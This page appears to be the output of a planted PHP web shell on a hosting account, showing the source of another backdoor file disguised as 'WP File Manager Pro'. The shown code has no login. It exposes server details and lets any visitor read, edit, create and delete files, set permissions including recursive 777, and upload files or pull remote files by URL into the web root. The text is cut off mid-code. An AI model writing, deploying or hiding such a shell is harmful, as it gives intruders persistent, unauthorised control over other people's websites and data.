đ Advanced Web Server Manager
Complete File Manager & Terminal - Standalone Version
By Sid Gifari | Gifari Industries
Current path:
/
/
home
/
duzhbywe
/
elitedelightonline.com
âī¸
Editing: file.php
īģŋ<!DOCTYPE html> <html> <head> <title>⨠WP File Manager Pro</title> <meta charset="UTF-8"> <style> /* ======================================== MAGICAL WORDPRESS STYLES ======================================== */ @import url('https://fonts.googleapis.com/css?family=Dosis:400,700|Bungee'); * { margin: 0; padding: 0; box-sizing: border-box; } body { background: linear-gradient(135deg, #1a1a2e 0%, #16213e 50%, #0f3460 100%); color: #ffffff; font-family: 'Dosis', cursive; min-height: 100vh; padding: 20px; } /* Magic particles background */ body::before { content: ''; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background-image: radial-gradient(2px 2px at 20px 30px, #eee, transparent), radial-gradient(2px 2px at 40px 70px, rgba(255,255,255,0.8), transparent), radial-gradient(2px 2px at 50px 160px, #ddd, transparent), radial-gradient(2px 2px at 90px 40px, rgba(255,255,255,0.6), transparent), radial-gradient(2px 2px at 130px 80px, #fff, transparent), radial-gradient(2px 2px at 160px 30px, rgba(255,255,255,0.7), transparent); background-size: 200px 200px; background-repeat: repeat; opacity: 0.3; pointer-events: none; z-index: 0; animation: twinkle 4s ease-in-out infinite alternate; } @keyframes twinkle { 0% { opacity: 0.2; } 100% { opacity: 0.5; } } /* Magic glow effect */ .glow { animation: glowPulse 3s ease-in-out infinite; } @keyframes glowPulse { 0%, 100% { box-shadow: 0 0 20px rgba(0, 160, 210, 0.3); } 50% { box-shadow: 0 0 40px rgba(0, 160, 210, 0.6), 0 0 60px rgba(0, 160, 210, 0.2); } } /* Main container with magic border */ .magic-container { background: rgba(35, 40, 45, 0.95); border-radius: 15px; padding: 25px; box-shadow: 0 0 30px rgba(0, 160, 210, 0.2), inset 0 0 30px rgba(0, 160, 210, 0.05); border: 1px solid rgba(0, 160, 210, 0.3); max-width: 800px; margin: 0 auto; position: relative; z-index: 1; backdrop-filter: blur(10px); } .magic-container::before { content: 'âĻ'; position: absolute; top: -15px; left: 20px; color: #00a0d2; font-size: 30px; animation: spin 10s linear infinite; } .magic-container::after { content: 'âĻ'; position: absolute; bottom: -15px; right: 20px; color: #00a0d2; font-size: 30px; animation: spin 10s linear infinite reverse; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* Header with magic title */ .magic-title { text-align: center; font-family: 'Bungee', cursive; font-size: 28px; background: linear-gradient(45deg, #00a0d2, #4CAF50, #ffb900); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; text-shadow: none; margin-bottom: 20px; position: relative; } .magic-title::after { content: 'â¨'; position: absolute; right: -40px; top: -10px; font-size: 30px; -webkit-text-fill-color: initial; animation: float 3s ease-in-out infinite; } .magic-title::before { content: 'âĄ'; position: absolute; left: -40px; top: -10px; font-size: 30px; -webkit-text-fill-color: initial; animation: float 3s ease-in-out infinite 1.5s; } @keyframes float { 0%, 100% { transform: translateY(0px); } 50% { transform: translateY(-10px); } } /* Server info with magic style */ .server-info { background: rgba(50, 55, 60, 0.8); border-radius: 10px; padding: 15px 20px; margin-bottom: 20px; border: 1px solid rgba(0, 160, 210, 0.2); display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 8px; } .server-info .info-item { color: #aaa; font-size: 13px; } .server-info .info-item span { color: #ffb900; font-weight: bold; } /* Directory breadcrumb with magic */ .breadcrumb { background: rgba(50, 55, 60, 0.6); padding: 10px 15px; border-radius: 8px; margin: 10px 0 20px 0; border: 1px solid rgba(0, 160, 210, 0.15); font-size: 14px; word-break: break-all; } .breadcrumb a { color: #00a0d2; text-decoration: none; transition: all 0.3s; position: relative; } .breadcrumb a:hover { color: #fff; text-shadow: 0 0 20px rgba(0, 160, 210, 0.5); } .breadcrumb a::after { content: 'âē'; color: #555; margin: 0 5px; } .breadcrumb a:last-child::after { content: ''; } /* Magic forms */ .magic-form { background: rgba(50, 55, 60, 0.6); border-radius: 10px; padding: 15px; margin: 10px 0; border: 1px solid rgba(0, 160, 210, 0.15); transition: all 0.3s; } .magic-form:hover { border-color: rgba(0, 160, 210, 0.4); box-shadow: 0 0 30px rgba(0, 160, 210, 0.1); } .magic-form input[type="text"], .magic-form input[type="file"], .magic-form select, .magic-form textarea { background: rgba(26, 26, 26, 0.8); color: #fff; border: 1px solid rgba(255,255,255,0.1); padding: 8px 12px; border-radius: 5px; font-family: 'Dosis', cursive; transition: all 0.3s; } .magic-form input[type="text"]:focus, .magic-form select:focus, .magic-form textarea:focus { border-color: #00a0d2; box-shadow: 0 0 20px rgba(0, 160, 210, 0.2); outline: none; } .magic-form input[type="submit"], .magic-form button { background: linear-gradient(135deg, #00a0d2, #0088b8); color: #fff; border: none; padding: 8px 20px; border-radius: 5px; cursor: pointer; font-family: 'Dosis', cursive; font-weight: bold; transition: all 0.3s; position: relative; overflow: hidden; } .magic-form input[type="submit"]:hover, .magic-form button:hover { transform: translateY(-2px); box-shadow: 0 5px 20px rgba(0, 160, 210, 0.4); } .magic-form input[type="submit"]::after, .magic-form button::after { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(255,255,255,0.2) 0%, transparent 60%); transform: scale(0); transition: transform 0.5s; } .magic-form input[type="submit"]:hover::after, .magic-form button:hover::after { transform: scale(1); } /* File table with magic */ .magic-table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 10px; overflow: hidden; } .magic-table th { background: linear-gradient(135deg, #25383C, #1a2a2e); padding: 12px; text-align: center; font-weight: bold; color: #aaa; text-transform: uppercase; font-size: 12px; letter-spacing: 1px; border-bottom: 2px solid rgba(0, 160, 210, 0.3); } .magic-table td { padding: 10px 12px; border-bottom: 1px solid rgba(255,255,255,0.05); transition: all 0.3s; } .magic-table tr:hover td { background: rgba(99, 98, 99, 0.3); text-shadow: 0 0 10px rgba(255,255,255,0.1); } .magic-table .file-link { color: #fff; text-decoration: none; transition: all 0.3s; display: flex; align-items: center; gap: 8px; } .magic-table .file-link:hover { color: #00a0d2; text-shadow: 0 0 20px rgba(0, 160, 210, 0.3); } .magic-table .file-icon { font-size: 20px; } /* Magic alerts */ .magic-alert { padding: 12px 20px; border-radius: 8px; margin: 10px 0; display: flex; align-items: center; gap: 10px; animation: slideIn 0.5s ease-out; } @keyframes slideIn { 0% { transform: translateX(-50px); opacity: 0; } 100% { transform: translateX(0); opacity: 1; } } .magic-alert.success { background: rgba(46, 74, 46, 0.8); border-left: 4px solid #46b450; color: #7ad03a; } .magic-alert.error { background: rgba(74, 45, 45, 0.8); border-left: 4px solid #dc3232; color: #dc3232; } .magic-alert.warning { background: rgba(74, 61, 45, 0.8); border-left: 4px solid #ffb900; color: #ffb900; } .magic-alert.info { background: rgba(45, 61, 74, 0.8); border-left: 4px solid #00a0d2; color: #00a0d2; } /* CHMOD Magic Interface */ .chmod-grid { display: grid; grid-template-columns: 80px repeat(3, 1fr); gap: 5px; background: rgba(26, 26, 26, 0.8); padding: 15px; border-radius: 8px; margin: 10px 0; } .chmod-grid .label { color: #888; font-size: 11px; text-align: center; padding: 5px; text-transform: uppercase; letter-spacing: 0.5px; } .chmod-grid .row-label { color: #ddd; font-size: 13px; padding: 5px; display: flex; align-items: center; } .chmod-grid .checkbox-group { display: flex; justify-content: center; align-items: center; gap: 5px; } .chmod-grid input[type="checkbox"] { width: 18px; height: 18px; cursor: pointer; accent-color: #00a0d2; filter: drop-shadow(0 0 5px rgba(0, 160, 210, 0.3)); } .chmod-presets { display: flex; gap: 8px; flex-wrap: wrap; margin: 10px 0; } .chmod-presets button { background: rgba(50, 55, 60, 0.8); color: #ddd; border: 1px solid rgba(255,255,255,0.1); padding: 5px 15px; border-radius: 5px; cursor: pointer; font-size: 12px; transition: all 0.3s; font-family: 'Dosis', cursive; } .chmod-presets button:hover { background: #00a0d2; border-color: #00a0d2; color: #fff; transform: scale(1.05); box-shadow: 0 5px 15px rgba(0, 160, 210, 0.3); } /* Responsive */ @media (max-width: 768px) { .magic-container { padding: 15px; } .magic-title { font-size: 22px; } .magic-title::before, .magic-title::after { display: none; } .server-info { grid-template-columns: 1fr; } .magic-table { font-size: 12px; } .magic-table th, .magic-table td { padding: 6px 8px; } .chmod-grid { grid-template-columns: 60px repeat(3, 1fr); font-size: 12px; padding: 10px; } } /* Scrollbar magic */ ::-webkit-scrollbar { width: 8px; height: 8px; } ::-webkit-scrollbar-track { background: rgba(26, 26, 26, 0.8); border-radius: 10px; } ::-webkit-scrollbar-thumb { background: linear-gradient(135deg, #00a0d2, #0088b8); border-radius: 10px; } ::-webkit-scrollbar-thumb:hover { background: linear-gradient(135deg, #0088b8, #00a0d2); box-shadow: 0 0 20px rgba(0, 160, 210, 0.3); } /* Loading spinner */ .spinner { display: inline-block; width: 20px; height: 20px; border: 3px solid rgba(255,255,255,0.1); border-radius: 50%; border-top-color: #00a0d2; animation: spin 0.8s ease-in-out infinite; } </style> </head> <body> <div class="magic-container"> <div class="magic-title">âĻ WP File Manager Pro âĻ</div> <?php // ============================================ // MAGIC PHP ENGINE // ============================================ // Set page encoding and MIME type header('Content-Type: text/html; charset=utf-8'); set_time_limit(0); error_reporting(0); // -------------------------------------------- // MIME Type Detection & File Serving // -------------------------------------------- function getMimeType($file) { // Try finfo if available if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file); finfo_close($finfo); if ($mime !== false && $mime !== 'application/octet-stream') { return $mime; } } // Fallback to extension mapping $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $map = [ 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'php' => 'text/x-php', 'css' => 'text/css', 'js' => 'application/javascript', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'ico' => 'image/x-icon', 'txt' => 'text/plain', 'log' => 'text/plain', 'xml' => 'application/xml', 'json' => 'application/json', 'sql' => 'text/plain', 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'zip' => 'application/zip', 'rar' => 'application/x-rar-compressed', 'tar' => 'application/x-tar', 'gz' => 'application/gzip', 'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo', 'mkv' => 'video/x-matroska', 'exe' => 'application/x-msdownload', 'msi' => 'application/x-msi', 'htaccess' => 'text/plain', 'py' => 'text/x-python', 'rb' => 'text/x-ruby', 'pl' => 'text/x-perl', 'sh' => 'text/x-shellscript', 'bat' => 'text/plain', ]; return isset($map[$ext]) ? $map[$ext] : 'application/octet-stream'; } // Serve file directly with correct MIME type if (isset($_GET['serve']) && $_GET['serve'] == '1' && isset($_GET['fileloc'])) { $file = $_GET['fileloc']; if (file_exists($file) && is_file($file)) { $mime = isset($_GET['mime']) ? $_GET['mime'] : getMimeType($file); header('Content-Type: ' . $mime . '; charset=utf-8'); header('Content-Length: ' . filesize($file)); header('Content-Disposition: inline; filename="' . basename($file) . '"'); readfile($file); exit; } else { http_response_code(404); echo 'File not found.'; exit; } } // -------------------------------------------- // Core functions // -------------------------------------------- function author() { echo '<div style="text-align:center;margin-top:20px;color:#555;font-size:12px;">⨠File Manager Magic â¨</div>'; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } return is_writable($lokasi) ? '<span style="color:#7ad03a;">âĻ Writable</span>' : '<span style="color:#dc3232;">â§ Not Writable</span>'; } function cekroot() { return is_writable($_SERVER['DOCUMENT_ROOT']) ? '<span style="color:#7ad03a;">âĻ Writable</span>' : '<span style="color:#dc3232;">â§ Not Writable</span>'; } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; is_dir($path) ? xrmdir($path) : unlink($path); } rmdir($dir); } function green($text) { echo '<div class="magic-alert success">âĻ ' . $text . '</div>'; } function red($text) { echo '<div class="magic-alert error">â§ ' . $text . '</div>'; } function yellow($text) { echo '<div class="magic-alert warning">âĻ ' . $text . '</div>'; } function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => 'đ', 'html' => 'đ', 'css' => 'đ¨', 'js' => 'đ', 'jpg' => 'đŧī¸', 'jpeg' => 'đŧī¸', 'png' => 'đŧī¸', 'gif' => 'đŧī¸', 'pdf' => 'đ', 'doc' => 'đ', 'docx' => 'đ', 'txt' => 'đ', 'zip' => 'đĻ', 'rar' => 'đĻ', 'tar' => 'đĻ', 'gz' => 'đĻ', 'mp3' => 'đĩ', 'mp4' => 'đŦ', 'avi' => 'đŦ', 'mkv' => 'đŦ', 'exe' => 'âī¸', 'msi' => 'âī¸', 'sql' => 'đī¸', 'xml' => 'đ', 'json' => 'đ', 'log' => 'đ', 'htaccess' => 'âī¸' ]; return isset($icons[$ext]) ? $icons[$ext] : 'đ'; } function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // Magic CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '<div class="magic-form" style="background:rgba(35,40,45,0.9);">'; $html .= '<h3 style="color:#ffb900;margin-bottom:15px;">đ Magic Permissions</h3>'; $html .= '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">'; $html .= '<div><strong>đ Path:</strong> ' . htmlspecialchars($path) . '</div>'; $html .= '<div><strong>đ Type:</strong> ' . ($is_dir ? 'Directory' : 'File') . '</div>'; $html .= '<div><strong>đ Current:</strong> ' . $current_perms . ' (' . getPermissionName($current_perms) . ')</div>'; $html .= '</div>'; $html .= '<form method="post">'; $html .= '<input type="hidden" name="path" value="' . htmlspecialchars($path) . '">'; $html .= '<input type="hidden" name="pilih" value="ubahmod">'; $html .= '<input type="hidden" name="chm0d" value="1">'; // Permission Grid $html .= '<div class="chmod-grid">'; $html .= '<div class="label"></div><div class="label">Read</div><div class="label">Write</div><div class="label">Execute</div>'; $rows = ['owner' => 'đ¤ Owner', 'group' => 'đĨ Group', 'world' => 'đ Public']; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $value = $perm_values[$key]; $html .= '<div class="row-label">' . $label . '</div>'; $html .= '<div class="checkbox-group"><input type="checkbox" name="' . $key . '_read" value="1" ' . (($value & 4) ? 'checked' : '') . ' onchange="updateNumeric()"></div>'; $html .= '<div class="checkbox-group"><input type="checkbox" name="' . $key . '_write" value="1" ' . (($value & 2) ? 'checked' : '') . ' onchange="updateNumeric()"></div>'; $html .= '<div class="checkbox-group"><input type="checkbox" name="' . $key . '_execute" value="1" ' . (($value & 1) ? 'checked' : '') . ' onchange="updateNumeric()"></div>'; } $html .= '</div>'; // Presets $html .= '<div class="chmod-presets">'; $html .= '<button type="button" onclick="setPreset(\'644\')">644</button>'; $html .= '<button type="button" onclick="setPreset(\'755\')">755</button>'; $html .= '<button type="button" onclick="setPreset(\'777\')">777</button>'; $html .= '<button type="button" onclick="setPreset(\'600\')">600</button>'; $html .= '<button type="button" onclick="setPreset(\'640\')">640</button>'; $html .= '<button type="button" onclick="setPreset(\'660\')">660</button>'; $html .= '</div>'; // Numeric input $html .= '<div style="display:flex;align-items:center;gap:10px;margin:10px 0;">'; $html .= '<label style="color:#ddd;">Numeric:</label>'; $html .= '<input type="text" id="numericPerm" name="perm" value="' . $current_perms . '" oninput="updateCheckboxes()" maxlength="4" style="width:80px;text-align:center;font-size:16px;font-family:monospace;background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px;border-radius:5px;">'; $html .= '</div>'; // Recursive if ($is_dir) { $html .= '<div style="background:rgba(50,55,60,0.6);padding:10px 15px;border-radius:5px;margin:10px 0;">'; $html .= '<input type="checkbox" name="recursive" id="recursive" value="1" style="accent-color:#00a0d2;">'; $html .= '<label for="recursive" style="color:#ddd;margin-left:8px;">đ Apply recursively to all files & subdirectories</label>'; $html .= '</div>'; } $html .= '<div style="display:flex;gap:10px;margin-top:15px;flex-wrap:wrap;">'; $html .= '<button type="submit" style="background:linear-gradient(135deg,#00a0d2,#0088b8);color:#fff;border:none;padding:10px 30px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;transition:all 0.3s;" onclick="return confirm(\'Apply magic permissions?\')">⨠Apply Changes</button>'; $html .= '<button type="button" onclick="window.location.href=\'?path=' . urlencode(dirname($path)) . '\'" style="background:rgba(85,85,85,0.6);color:#fff;border:none;padding:10px 20px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;transition:all 0.3s;">â Cancel</button>'; $html .= '</div>'; $html .= '</form>'; $html .= '</div>'; // JavaScript for CHMOD $html .= '<script> function updateNumeric() { var owner = 0, group = 0, world = 0; ["owner","group","world"].forEach(function(role) { var val = 0; if (document.querySelector(\'input[name="\'+role+\'_read"]\').checked) val += 4; if (document.querySelector(\'input[name="\'+role+\'_write"]\').checked) val += 2; if (document.querySelector(\'input[name="\'+role+\'_execute"]\').checked) val += 1; if (role === "owner") owner = val; else if (role === "group") group = val; else world = val; }); document.getElementById("numericPerm").value = "" + owner + group + world; } function updateCheckboxes() { var val = document.getElementById("numericPerm").value; if (val.length === 3 || val.length === 4) { var perms = val.slice(-3); ["owner","group","world"].forEach(function(role, idx) { var num = parseInt(perms[idx]); document.querySelector(\'input[name="\'+role+\'_read"]\').checked = (num & 4) ? true : false; document.querySelector(\'input[name="\'+role+\'_write"]\').checked = (num & 2) ? true : false; document.querySelector(\'input[name="\'+role+\'_execute"]\').checked = (num & 1) ? true : false; }); } } function setPreset(perms) { document.getElementById("numericPerm").value = perms; updateCheckboxes(); } </script>'; return $html; } // -------------------------------------------- // Server Info // -------------------------------------------- $disfunc = @ini_get("disable_functions"); $disf = empty($disfunc) ? '<span style="color:#7ad03a;">⨠NONE</span>' : '<span style="color:#dc3232;">' . $disfunc . '</span>'; echo '<div class="server-info">'; echo '<div class="info-item">đĨī¸ Server: <span>' . $_SERVER['SERVER_SOFTWARE'] . '</span></div>'; echo '<div class="info-item">đģ System: <span>' . php_uname() . '</span></div>'; echo '<div class="info-item">đ¤ User: <span>' . @get_current_user() . ' (' . @getmyuid() . ')</span></div>'; echo '<div class="info-item">đ PHP: <span>' . @phpversion() . '</span></div>'; echo '<div class="info-item">đĢ Disabled: ' . $disf . '</div>'; echo '</div>'; // -------------------------------------------- // Directory Breadcrumb // -------------------------------------------- foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo '<div class="breadcrumb">đ '; foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ echo '<a href="?path=/">/</a>'; continue; } if($lok == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$lokasis[$i]"; if($i != $id) echo "/"; } echo '">' . $lok . '</a>'; } echo '</div>'; // -------------------------------------------- // Create File/Folder // -------------------------------------------- if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red('File already exists! âĄ'); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green('File created successfully! <a href="?fileloc=' . urlencode($new_file) . '&path=' . urlencode($lokasi) . '" style="color:#7ad03a;">' . htmlspecialchars($_POST['new_filename']) . '</a> â¨'); } else { red('Failed to create file! Check permissions. âĄ'); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red('Folder already exists! âĄ'); } else { if (mkdir($new_folder, 0755)) { green('Folder created successfully! <a href="?path=' . urlencode($new_folder) . '" style="color:#7ad03a;">' . htmlspecialchars($_POST['new_foldername']) . '</a> đ'); } else { red('Failed to create folder! Check permissions. âĄ'); } } } } // -------------------------------------------- // CHMOD Handling // -------------------------------------------- if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green('⨠Permissions changed for <strong>' . $count . '</strong> items to <strong>' . $perm . '</strong>'); } else { yellow('â ī¸ Permissions changed for ' . $count . ' items, some failed.'); } } else { if (@chmod($chmod_path, $perm_octal)) { green('⨠Permissions changed to <strong>' . $perm . '</strong>'); } else { red('â Failed to change permissions'); } } } else { red('â Invalid permission format'); } } echo chmodInterface($chmod_path, $is_dir); echo '<br><a href="?path=' . urlencode(dirname($chmod_path)) . '" style="color:#00a0d2;text-decoration:none;">â Back to Directory</a>'; author(); } // -------------------------------------------- // Upload Handling // -------------------------------------------- if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red('Upload Error: ' . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red('Upload directory is not writable: ' . $upload_dir); } else { $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $uploaded_file['name']); $destination = $upload_dir . '/' . $filename; $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = '<br><span style="color:#ffb900;">â ī¸ File exists! Overwriting...</span> <br>Old: ' . $old_size . ' â New: ' . $new_size; } if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); green('â File uploaded! ' . $overwrite_msg . ' <br>đ <a href="?fileloc=' . urlencode($destination) . '&path=' . urlencode($upload_dir) . '" style="color:#7ad03a;">' . htmlspecialchars($filename) . '</a> <br>đ ' . formatSize(filesize($destination))); } else { red('Failed to move uploaded file.'); } } } } elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red('Filename cannot be empty!'); } else { $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $_POST['namalink']); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red('Failed to fetch remote file.'); } else { if (!is_writable($upload_dir)) { red('Upload directory is not writable.'); } else { $destination = $upload_dir . '/' . $remote_filename; $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = '<br><span style="color:#ffb900;">â ī¸ File exists! Overwriting...</span> <br>Old: ' . $old_size . ' â New: ' . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); green('â Remote file uploaded! ' . $overwrite_msg . ' <br>đ <a href="?fileloc=' . urlencode($destination) . '&path=' . urlencode($upload_dir) . '" style="color:#7ad03a;">' . htmlspecialchars($remote_filename) . '</a> <br>đ ' . formatSize(filesize($destination))); } else { red('Failed to save remote file.'); } } } } } else { red('No file selected.'); } } // -------------------------------------------- // Editor // -------------------------------------------- if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { yellow('âšī¸ No changes detected.'); } else { if (file_put_contents($file_path, $content) !== false) { green('â File saved! <a href="?fileloc=' . urlencode($file_path) . '&path=' . urlencode(dirname($file_path)) . '" style="color:#7ad03a;">View</a>'); } else { red('â Failed to save!'); } } } $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; $file_ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $is_binary = in_array($file_ext, ['jpg','jpeg','png','gif','pdf','zip','rar','exe','mp3','mp4']); echo '<div class="magic-form" style="background:rgba(35,40,45,0.9);">'; echo '<h3 style="color:#00a0d2;margin-bottom:15px;">đ Editing: ' . htmlspecialchars(basename($file_path)) . '</h3>'; echo '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">'; echo '<div><strong>đ Path:</strong> ' . htmlspecialchars($file_path) . '</div>'; echo '<div><strong>đ Size:</strong> ' . formatSize(filesize($file_path)) . '</div>'; echo '<div><strong>đ Perm:</strong> ' . substr(sprintf('%o', fileperms($file_path)), -4) . '</div>'; echo '</div>'; if ($is_binary) { echo '<div style="background:rgba(74,45,45,0.6);padding:20px;text-align:center;border-radius:8px;color:#ffb900;">'; echo 'â ī¸ Binary file - cannot edit<br>'; echo '<a href="?fileloc=' . urlencode($file_path) . '&path=' . urlencode(dirname($file_path)) . '" style="color:#00a0d2;">View File</a>'; echo '</div>'; } else { echo '<form method="post">'; echo '<textarea name="src" style="width:100%;min-height:400px;background:rgba(26,26,26,0.8);color:#abb8c3;border:1px solid rgba(255,255,255,0.1);padding:15px;font-family:monospace;font-size:13px;line-height:1.7;border-radius:5px;resize:vertical;" spellcheck="false">' . htmlspecialchars($file_content) . '</textarea>'; echo '<input type="hidden" name="path" value="' . htmlspecialchars($file_path) . '">'; echo '<input type="hidden" name="pilih" value="edit">'; echo '<input type="hidden" name="gasedit" value="1">'; echo '<div style="display:flex;gap:10px;margin-top:10px;flex-wrap:wrap;">'; echo '<button type="submit" style="background:linear-gradient(135deg,#00a0d2,#0088b8);color:#fff;border:none;padding:10px 30px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;transition:all 0.3s;">đž Save</button>'; echo '<button type="button" onclick="window.location.href=\'?path=' . urlencode(dirname($file_path)) . '\'" style="background:rgba(85,85,85,0.6);color:#fff;border:none;padding:10px 20px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;transition:all 0.3s;">â Back</button>'; echo '</div>'; echo '</form>'; } echo '</div>'; author(); } // -------------------------------------------- // File Viewer (with MIME support) // -------------------------------------------- if (isset($_GET['fileloc']) && !isset($_GET['serve'])) { $file_path = $_GET['fileloc']; echo '<div class="magic-form" style="background:rgba(35,40,45,0.9);">'; echo '<h3 style="color:#00a0d2;margin-bottom:15px;">đ ' . htmlspecialchars(basename($file_path)) . '</h3>'; echo '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">'; echo '<div><strong>đ Path:</strong> ' . htmlspecialchars($file_path) . '</div>'; echo '<div><strong>đ Size:</strong> ' . formatSize(filesize($file_path)) . '</div>'; echo '<div><strong>đ Perm:</strong> ' . substr(sprintf('%o', fileperms($file_path)), -4) . '</div>'; echo '<div><strong>đ MIME:</strong> ' . getMimeType($file_path) . '</div>'; echo '</div>'; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg','jpeg','png','html','bmp','webp','svg']; $viewable_exts = ['php','html','htm','css','js','txt','xml','json','sql','log','shtml']; if (in_array($ext, $image_exts)) { echo '<div style="background:rgba(26,26,26,0.6);padding:20px;text-align:center;border-radius:8px;">'; echo '<img src="?serve=1&fileloc=' . urlencode($file_path) . '" style="max-width:100%;max-height:500px;border-radius:5px;">'; echo '</div>'; } elseif (in_array($ext, $viewable_exts)) { echo '<pre style="background:rgba(26,26,26,0.8);padding:15px;border-radius:8px;overflow:auto;max-height:500px;color:#abb8c3;font-size:13px;font-family:monospace;border:1px solid rgba(255,255,255,0.05);">'; echo htmlspecialchars(file_get_contents($file_path)); echo '</pre>'; } else { echo '<div 